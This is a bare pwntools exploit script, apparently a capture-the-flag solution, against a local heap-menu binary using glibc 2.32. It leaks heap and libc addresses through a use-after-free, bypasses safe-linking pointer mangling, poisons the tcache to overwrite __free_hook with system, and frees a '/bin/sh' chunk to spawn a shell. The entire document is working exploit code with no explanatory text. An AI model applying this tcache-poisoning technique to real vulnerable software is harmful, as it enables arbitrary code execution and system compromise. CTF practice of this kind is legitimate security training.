1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import * context.arch = 'amd64' context.os = 'linux' context.log_level = 'debug'
def add(index,size): p.sendlineafter(b'>',b'1') p.sendlineafter(b'Index: ',str(index).encode()) p.sendlineafter(b'Size: ',str(size).encode()) def delete(index): p.sendlineafter(b'>',b'2') p.sendlineafter(b'Index: ',str(index).encode()) def edit(index,content): p.sendlineafter(b'>',b'3') p.sendlineafter(b'Index: ',str(index).encode()) p.sendafter(b'Content: ',content) def show(index): p.sendlineafter(b'>',b'4') p.sendlineafter(b'Index: ',str(index).encode()) def pack(pos, ptr): return (pos >> 12) ^ ptr
p=process('./safe')
libc=ELF('./2.32-0ubuntu3.2_amd64/libc-2.32.so')
add(0,0x10) delete(0) show(0) s=(p.recvuntil(b'\n')[:-1]).ljust(8,b'\x00') heap=u64(s)<<12 for i in range(2,11): add(i,0xf0) for i in range(2,10): delete(i) edit(9,b'\n') show(9) p.recvuntil(b'\n') s=(b'\n'+p.recvuntil(b'\n')[:-1]).ljust(8,b'\x00') libcbase=u64(s)-libc.symbols['__malloc_hook']-0xc0a+0xb90 print(hex(libcbase)) print(hex(heap)) system_addr=libcbase+libc.symbols['system'] free_hook=libcbase+libc.symbols['__free_hook'] edit(9,b'\x00') add(11, 0x20) add(12, 0x20) delete(12) delete(11)
edit(11, p64(pack(heap + 0x290+0x9b0+0x10, free_hook))) add(13, 0x20) edit(13,b'/bin/sh\x00') add(14, 0x20) edit(14,p64(system_addr)) delete(13) p.interactive()
|